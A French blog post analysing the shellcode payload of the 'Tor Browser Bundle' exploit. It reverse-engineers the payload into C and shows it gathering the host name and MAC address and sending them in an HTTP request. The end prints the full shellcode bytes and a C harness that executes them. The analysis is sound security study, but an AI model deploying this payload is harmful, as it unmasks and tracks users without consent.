En conclusion, la ligne au dessus charge dans ESI l'addresse pointé par EBP+0x000002E1. Ce qui nous donne 0x000002E8. En regardant ce qui ce trouve à cette adresse

000002E8: 02 00

000002EA: 00

000002EB: 59

000002EC: 7F 00

000002EE: 00 01

comme il est plus pratique d'utilisé la structure "sockaddr_in" que la structure "sockaddr"

les définitions MSDN

struct sockaddr_in {

short sin_family; // e.g. AF_INET

unsigned short sin_port; // e.g. htons(XXXX)

struct in_addr sin_addr; // see struct in_addr, below

char sin_zero[8]; // zero this if you want to

};

struct in_addr {

unsigned long s_addr; // load with inet_aton()

};

Rappel de la définition de AF_INET

#define AF_INET 2 /* internetwork: UDP, TCP, etc. */

comme la suite des instruction son encore un test EAX, il est simple de comprendre qu'il test le retour de l'Api "connect"

00000102: 85 C0 TEST EAX,EAX

00000104: 74 1F JZ 0x1F (+1Fh ->:00000125)

On peut en déduire cela en code C suivant: sachant que "If no error occurs, connect returns zero."

DWORD dwPortNo = 0089;

struct sockaddr_in c;

c.sin_family = AF_INET;

c.sin_port = htons(dwPortNo);

c.sin_addr.s_addr = inet_addr (("127.0.0.1");

if ( connect ( s1, (struct sockaddr*)&c, sizeof c ) == 0 )

{

// Suite du code 0x00000125

}

nous pouvons donc compléter notre équivalent de code C

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes = WSAStartup(MAKEWORD(1,9),
  &WSAData);

if(iRes) goto Error; // Aller à l'adresse 0000010E

              SOCKET s1;

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

if( s1 == SOCKET_ERROR )

{

goto Error; // Aller à l'adresse 0000010E

}

else

{

                         DWORD dwPortNo = 0089;

struct sockaddr_in c;

c.sin_family = AF_INET;

c.sin_port = htons(dwPortNo);

c.sin_addr.s_addr = inet_addr (("127.0.0.1");

if ( connect ( s1, (struct sockaddr*)&c, sizeof c ) == 0 )

{

// aller au code 0x0000125

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

Continuons en regardant l'adresse 0x00000125 , cela nous donne les lignes suivant:

00000125: B8 00 01 00 00 MOV EAX, 00000100h ""

0000012A: 29 C4 SUB ESP,EAX

0000012C: 89 E2 MOV EDX,ESP

0000012E: 52 PUSH EDX

0000012F: 50 PUSH EAX

00000130: 52 PUSH EDX

00000131: 68 B6 49 DE 01 PUSH 01DE49B6h "¶IÞ" (01DE49B6=Hash[ROR13-Hybrid](ws2_32.dll!gethostname))

00000136: FF D5 CALL EBP

Là cela devient plus intéressant, on tombe sur une Api GetHostName(..) qui permet de connaître le nom du poste ou est appeler l'API

la premier partie est allocation de 256 octets sur la pile. le code équivalent en C sera

char szHostBuffer[256];

int hostname;

    // To
  retrieve hostname

    hostname
  = gethostname(

szHostBuffer, sizeof(szHostBuffer));

et voila encore quelque ligne qui complète notre code

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes = WSAStartup(MAKEWORD(1,9),
  &WSAData);

if(iRes) goto Error; // Aller à l'adresse 0000010E

              SOCKET s1;

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

if( s1 == SOCKET_ERROR )

{

goto Error; // Aller à l'adresse 0000010E

}

else

{

                         DWORD dwPortNo = 0089;

struct sockaddr_in c;

c.sin_family = AF_INET;

c.sin_port = htons(dwPortNo);

c.sin_addr.s_addr = inet_addr (("127.0.0.1");

if ( connect ( s1, (struct sockaddr*)&c, sizeof c ) == 0 )

{

// aller au code 0x0000125

char szHostBuffer[256];

DWORD dwHostName;

                                   // To
  retrieve hostname

dwHostName = gethostname(szHostBuffer, sizeof(szHostBuffer));

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

Pour l'instant passe sur le test et le saut en cas ou dwHostName = 0

et
concentrons nous sur les instructions suivant:

0000013F: 85 C0 TEST EAX,EAX

00000141: 0F 85 F2 00 00 00 JNE 000000F2h (+F2h ->:00000239)

00000147: 57 PUSH EDI

00000148: E8 F9 00 00 00 CALL 000000F9h (+F9h ->:00000246)

On va regarder ce qui se trouve à l'addresse 0x00000246

On arrive sur le code suivant :

00000246: 31 C9 XOR ECX,ECX

00000248: F7 D1 NOT ECX

0000024A: 31 C0 XOR EAX,EAX

0000024C: F2 AE REPNE SCAS BYTE PTR ES:[EDI]

0000024E: F7 D1 NOT ECX

00000250: 49 DEC ECX

00000251: C3 RET

cette fonction est d'une forme assez évidente elle correspond à une gestion de chaîne.

Assez reconnaissable par l'instruction REPNE

Pour la tester, nous avons écrit un petit programme comme vous pouvez le voir sur la capture écran en dessous:

Nous mettons l'écriture de la fonction crée

DWORD __declspec(naked) AsmFunctionC_strlen_V1(char* pText)

{

__asm

{

MOV EDI,DWORD PTR [ESP+04h]

XOR ECX,ECX

NOT ECX

XOR EAX,EAX

REPNE SCAS BYTE PTR ES:[EDI]

NOT ECX

DEC ECX

MOV EAX,ECX

RET

}

Comme vous pouvez le voir ce bloc n'est que l'équivalent à la fonction C "strlen"

Nous avons intégré cette signature dans notre outil, et suite à cela nous obtenons les lignes suivantes:

00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)

00000246 -> 00000250: =>{BLOC}[AsmFunctionC_strlen_V1 -> ECX] l'Adresse du string est passé par EDI

00000251: C3 RET

On va pouvoir compléter notre similitude du programme écriture en C

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes = WSAStartup(MAKEWORD(1,9),
  &WSAData);

if(iRes) goto Error; // Aller à l'adresse 0000010E

              SOCKET s1;

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

if( s1 == SOCKET_ERROR )

{

goto Error; // Aller à l'adresse 0000010E

}

else

{

                         DWORD dwPortNo = 0089;

struct sockaddr_in c;

c.sin_family = AF_INET;

c.sin_port = htons(dwPortNo);

c.sin_addr.s_addr = inet_addr (("127.0.0.1");

if ( connect ( s1, (struct sockaddr*)&c, sizeof c ) == 0 )

{

// aller au code 0x0000125

char szHostBuffer[256];

DWORD dwHostName;

                                   // To
  retrieve hostname

dwHostName = gethostname(szHostBuffer, sizeof(szHostBuffer));

DWORD dwHostNameLen = strlen(szHostBuffer);

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

en suite nous avons un appel suivant après les opérations sur la chaîne

0000017F: 56 PUSH ESI

00000185: FF D5 CALL EBP

00000187: 85 C0 TEST EAX,EAX

00000189: 0F 84 AA 00 00 00 JE 000000AAh (+AAh ->:00000239)

qui correspond à l'appel en C suivant

struct hostent *host_info = gethostbyname(szHostBuffer);

if (host_info==0) goto 0x00000239

comme la structure "hosten" est définit comme suite:

struct hostent {

char FAR * h_name; /* official name of host */

char FAR * FAR * h_aliases; /* alias list */

short h_addrtype; /* host address type */

short h_length; /* length of address */

char FAR * FAR * h_addr_list; /* list of addresses */

#define h_addr h_addr_list[0] /* address, for backward compat */

};

donc les lignes qui suivent sert à vérifier la valeur de h_length

0000018F: 66 8B 48 0A MOV CX,WORD PTR[EAX+0x0A]

00000193: 66 83 F9 04 CMP CX,0x0004

00000197: 0F 82 9C 00 00 00 JB Loc_00000239

Note pour rappel char FAR* correspond à un pointeur donc un DWORD en X32

d'ou 4+4 +2(short) = 10 qui en hexadécimal donne 0x0A ;o)

la ligne JB (Jump near if below (CF=1)) si la valeur n'est pas égale on va à l'adresse indiqué .Dans le code ici c'est 0x00000239

struct hostent *host_info = gethostbyname(szHostBuffer);

if (host_info==0) goto 0x00000239

if(host_info.h_length<>0x04) goto 0x00000239

cela nous donne maintenant que quoi complété notre programme C

if(!strcmp(pszString,"GET "))

{

// la chaîne contient "GET "

HMODULE hWs2_32 = LoadLibrary("ws2_32");

if(!hWs2_32)

{

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

goto Error;

}

                 WSADATA WSAData;

                 int iRes = WSAStartup(MAKEWORD(1,9),
  &WSAData);

if(iRes) goto Error; // Aller à l'adresse 0000010E

              SOCKET s1;

s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);

if( s1 == SOCKET_ERROR )

{

goto Error; // Aller à l'adresse 0000010E

}

else

{

                         DWORD dwPortNo = 0089;

struct sockaddr_in c;

c.sin_family = AF_INET;

c.sin_port = htons(dwPortNo);

c.sin_addr.s_addr = inet_addr (("127.0.0.1");

if ( connect ( s1, (struct sockaddr*)&c, sizeof c ) == 0 )

{

// aller au code 0x0000125

char szHostBuffer[256];

DWORD dwHostName;

                                   // To
  retrieve hostname

dwHostName = gethostname(szHostBuffer, sizeof(szHostBuffer));

DWORD dwHostNameLen = strlen(szHostBuffer);

struct hostent *host_info = gethostbyname(szHostBuffer);

if (host_info==0) goto 0x00000239

if(host_info.h_length<>0x04) goto 0x00000239

}

else

{

// la chaîne ne commence pas par GET ( Au niveau du shellcode zone en 0x0000010E )

}

// La dll n'a pas pu être chargé (aller à l'adresse 0000010E )

Error:

nous arrivons sur les lignes suivant, maintenant.

0000019D: 8D 40 0C LEA EAX,DWORD PTR [EAX+0Ch]

000001A0: 8B 00 MOV EAX,DWORD PTR [EAX]

000001A2: 8B 08 MOV ECX,DWORD PTR [EAX]

000001A4: 8B 09 MOV ECX,DWORD PTR [ECX]

000001A6: B8 00 01 00 00 MOV EAX, 00000100h ""

000001AB: 50 PUSH EAX

000001AC: 89 E7 MOV EDI,ESP

000001AE: 29 C4 SUB ESP,EAX

000001B0: 89 E6 MOV ESI,ESP

000001B2: 57 PUSH EDI

000001B3: 56 PUSH ESI

000001B4: 51 PUSH ECX

000001B5: 51 PUSH ECX

000001B6: 68 48 72 D2 B8 PUSH B8D27248h "HrÒ¸" (B8D27248=Hash[Ror13-Hybrid](iphlpapi.dll!SendARP))

000001BB: FF D5 CALL EBP

Cette Api "SendARP" envoie une demande ARP (Address Resolution Protocol) afin d’obtenir la MAC adresse correspondant à l’adresse IPv4 de destination spécifiée.

la déclaration de l'Api

typedef DWORD (WINAPI* pSendARP)(struct in_addr DestIP, struct in_addr SrcIP, PULONG pMacAddr, PULONG PhyAddrLen );

les lignes suivante définissent les paramètres DestIP et ScrIP

0000019D: 8D 40 0C LEA EAX,DWORD PTR [EAX+0Ch]

000001A0: 8B 00 MOV EAX,DWORD PTR [EAX]

000001A2: 8B 08 MOV ECX,DWORD PTR [EAX]

000001A4: 8B 09 MOV ECX,DWORD PTR [ECX]

d'ou en écriture C,cela équivaut au ligne suivant

BYTE MacAddr[256];

ULONG PhyAddrLen = 0x100;

//Send an arp packet

DWORD ret = SendArp(destip , srcip , MacAddr ,&PhyAddrLen);

cela donne le bloc

struct hostent *host_info = gethostbyname(szHostBuffer);

if (host_info==0) goto 0x00000239

if (host_info.h_length<>0x04) goto 0x00000239

BYTE MacAddr[256];

ULONG PhyAddrLen = 0x100;

//Send an arp packet

DWORD ret = SendArp(host_info, host_info, MacAddr ,&PhyAddrLen);

en suite, un bloc ou contient la trame http à envoyé et complété avec les infos récupéré

et placer en remplacement de contenu et assemblage de la chaîne finale

Nous mettons la zone du bloc de data servant à la construction

Après il assez facile de déduire la suite

00000229: 31 C0 XOR EAX,EAX

0000022B: 50 PUSH EAX

0000022C: 51 PUSH ECX

0000022D: 29 CF SUB EDI,ECX

0000022F: 4F DEC EDI

00000230: 57 PUSH EDI

00000231: 53 PUSH EBX

00000232: 68 C2 EB 38 5F PUSH 5F38EBC2h "Âë8_" (5F38EBC2=Hash[ROR13-Hybrid](ws2_32.dll!send))

00000237: FF D5 CALL EBP

Elle correspond au ligne ou szSendBuf est la chaîne construit avant

// Send an initial buffer

int iResult = send(s1, szSendBuf,
  (

int) strlen(szSendBuf), 0);

et enfin les lignes pour int iResult = closesocket(s1);

00000239: 53 PUSH EBX

0000023A: 68 75 6E 4D 61 PUSH 614D6E75h "unMa" (614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))

0000023F: FF D5 CALL EBP

00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)

Après, il un saut vers l'adresse 0x0000010E qui abouti au ligne que nous avions marqué comme étant en cas soucis saut 0x0000010E

C'est là
que cela vers un problème dans la suite du code, il a bien un test qui passe
valide et renvoi à la ligne 0x0000011E

0000010E: 80 BD 4F 02 00 00 01 CMP BYTE PTR[EBP+0x0000024F],0x01

00000115: 74 07 JZ 0x07 (+07h ->:0000011E)

00000117: E8 3B 01 00 00 CALL 0000013Bh (+13Bh ->:00000257)

0000011C: EB 05 JMP 05h +05h ->:00000123)

0000011E: E8 4D 01 00 00 CALL 0000014Dh (+14Dh ->:00000270)

qui
abouti à l'appel vers l'adresse 0x00000270, rappel  la fonction

AsmFunctionC_strlen_V1(char* pText) (situé à l'adresse 0x00000246 )

00000270: 8D BD E9 02 00 00 LEA EDI,DWORD PTR[EBP + 000002E9h]

00000276: E8 CB FF FF FF CALL FFFFFFCBh (-35h ->:00000246)

0000027B: C3 RET

C'est
cette partie qui devrait arrivé vers fin programme standard , l'adresse devrait
être différent. Il semble que fin construction du programme a été bricolé ou
volontaire renvoyer vers pour un plantage.

00000241: E9 C8 FE FF FF JMP FFFFFEC8h (-FFFFFEC8h ->:0000010E)

V. Test pratique du shellcode

Nous avons fait le test pratique via un de programme permettant de crée des shellcodes

Mais aussi de les exécuter et de tester cela. Nous avons lancer un de petit serveur web d'analyse pour simulé le serveur web en local avec le port 89.

Et lancer lancé le shellcode étudié en l'insérant dans la zone d'édit de notre outil de création, vous pouvez voir sur la capture en dessous sur une machine virtuel le résultat

Nous pouvons voir qui a récupéré le Host:PCHack01 et fournit dans le Cookie la Mac Address ID=0003FF007402 de notre de la carte virtuel de notre machine virtuel.

Vous pouvez faire cela également avec un programme suivant ou szShellCode contient le shellcode à tester

#include "stdafx.h"

#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

unsigned char szShellCode[] =

"\x60\xFC\xE8\x8A\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30"

"\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31"

"\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52"

"\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A"

"\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34"

"\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75"

"\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66"

"\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24"

"\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86"

"\x90\x5D\x81\xBD\xE9\x02\x00\x00\x47\x45\x54\x20\x75\x70\x8D\x85"

"\xD1\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0\x74\x5E"

"\x8D\x85\xD8\x02\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\x85\xC0"

"\x74\x4C\xBB\x90\x01\x00\x00\x29\xDC\x54\x53\x68\x29\x80\x6B\x00"

"\xFF\xD5\x01\xDC\x85\xC0\x75\x36\x50\x50\x50\x50\x40\x50\x40\x50"

"\x68\xEA\x0F\xDF\xE0\xFF\xD5\x31\xDB\xF7\xD3\x39\xC3\x74\x1F\x89"

"\xC3\x6A\x10\x8D\xB5\xE1\x02\x00\x00\x56\x53\x68\x99\xA5\x74\x61"

"\xFF\xD5\x85\xC0\x74\x1F\xFE\x8D\x89\x00\x00\x00\x75\xE3\x80\xBD"

"\x4F\x02\x00\x00\x01\x74\x07\xE8\x3B\x01\x00\x00\xEB\x05\xE8\x4D"

"\x01\x00\x00\xFF\xE7\xB8\x00\x01\x00\x00\x29\xC4\x89\xE2\x52\x50"

"\x52\x68\xB6\x49\xDE\x01\xFF\xD5\x5F\x81\xC4\x00\x01\x00\x00\x85"

"\xC0\x0F\x85\xF2\x00\x00\x00\x57\xE8\xF9\x00\x00\x00\x5E\x89\xCA"

"\x8D\xBD\xE9\x02\x00\x00\xE8\xEB\x00\x00\x00\x4F\x83\xFA\x20\x7C"

"\x05\xBA\x20\x00\x00\x00\x89\xD1\x56\xF3\xA4\xB9\x0D\x00\x00\x00"

"\x8D\xB5\xC4\x02\x00\x00\xF3\xA4\x89\xBD\x4B\x02\x00\x00\x5E\x56"

"\x68\xA9\x28\x34\x80\xFF\xD5\x85\xC0\x0F\x84\xAA\x00\x00\x00\x66"

"\x8B\x48\x0A\x66\x83\xF9\x04\x0F\x82\x9C\x00\x00\x00\x8D\x40\x0C"

"\x8B\x00\x8B\x08\x8B\x09\xB8\x00\x01\x00\x00\x50\x89\xE7\x29\xC4"

"\x89\xE6\x57\x56\x51\x51\x68\x48\x72\xD2\xB8\xFF\xD5\x85\xC0\x81"

"\xC4\x04\x01\x00\x00\x0F\xB7\x0F\x83\xF9\x06\x72\x6C\xB9\x06\x00"

"\x00\x00\xB8\x10\x00\x00\x00\x29\xC4\x89\xE7\x89\xCA\xD1\xE2\x50"

"\x52\x31\xD2\x8A\x16\x88\xD0\x24\xF0\xC0\xE8\x04\x3C\x09\x77\x04"

"\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x88\xD0\x24\x0F\x3C\x09\x77"

"\x04\x04\x30\xEB\x02\x04\x37\x88\x07\x47\x46\xE2\xD4\x59\x29\xCF"

"\x89\xFE\x58\x01\xC4\x8B\xBD\x4B\x02\x00\x00\xF3\xA4\xC6\x85\x4F"

"\x02\x00\x00\x01\xE8\x2E\x00\x00\x00\x31\xC0\x50\x51\x29\xCF\x4F"

"\x57\x53\x68\xC2\xEB\x38\x5F\xFF\xD5\x53\x68\x75\x6E\x4D\x61\xFF"

"\xD5\xE9\xC8\xFE\xFF\xFF\x31\xC9\xF7\xD1\x31\xC0\xF2\xAE\xF7\xD1"

"\x49\xC3\x00\x00\x00\x00\x01\x8D\xBD\xE9\x02\x00\x00\xE8\xE4\xFF"

"\xFF\xFF\x4F\xB9\x4F\x00\x00\x00\x8D\xB5\x75\x02\x00\x00\xF3\xA4"

"\x8D\xBD\xE9\x02\x00\x00\xE8\xCB\xFF\xFF\xFF\xC3\x0D\x0A\x43\x6F"

"\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x6B\x65\x65\x70\x2D\x61"

"\x6C\x69\x76\x65\x0D\x0A\x41\x63\x63\x65\x70\x74\x3A\x20\x2A\x2F"

"\x2A\x0D\x0A\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69"

"\x6E\x67\x3A\x20\x67\x7A\x69\x70\x0D\x0A\x0D\x0A\x00\x83\xC7\x0E"

"\x31\xC9\xF7\xD1\x31\xC0\xF3\xAE\x4F\xFF\xE7\x0D\x0A\x43\x6F\x6F"

"\x6B\x69\x65\x3A\x20\x49\x44\x3D\x77\x73\x32\x5F\x33\x32\x00\x49"

"\x50\x48\x4C\x50\x41\x50\x49\x00\x02\x00\x00\x59\x7F\x00\x00\x01"

"\x47\x45\x54\x20\x2F\x30\x35\x63\x65\x61\x34\x64\x65\x2D\x39\x35"

"\x31\x64\x2D\x34\x30\x33\x37\x2D\x62\x66\x38\x66\x2D\x66\x36\x39"

"\x30\x35\x35\x62\x32\x37\x39\x62\x62\x20\x48\x54\x54\x50\x2F\x31"

"\x2E\x31\x0D\x0A\x48\x6F\x73\x74\x3A\x20\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";

int APIENTRY _tWinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)

{

int (*TestRun_Shellcode)() = (int(*)())(&szShellCode [0]);

TestRun_Shellcode();

return 1;

}

VI. Conclusions

L'intérêt ici était de voir comment obtenir à partir du dump l'obtention du code et remonté à une transcription vers un langage plus évolué ici le C ou C++.

De comprendre le processus de reconnaissance par signature comme strlen(..). Car la technique étant lié à une identification d'un bloc d'opcode , elle permet de rapidement connaitre les appels et la typologie du shellcode.

L'intérêt ici est surtout de voir l'analyse d'une charge utile et le cheminement pour comprendre son fonctionnement finale.

9B113D1A

samedi 16 novembre 2019

Analyse de la charge utile utilisée par l’exploit "Tor Browser Bundle"

I. Introduction

II. Reconstruction de la charge

III. L'analyse de la charge

IV. Transposition du code en l'équivalent C

V. Test pratique du shellcode

VI. Conclusions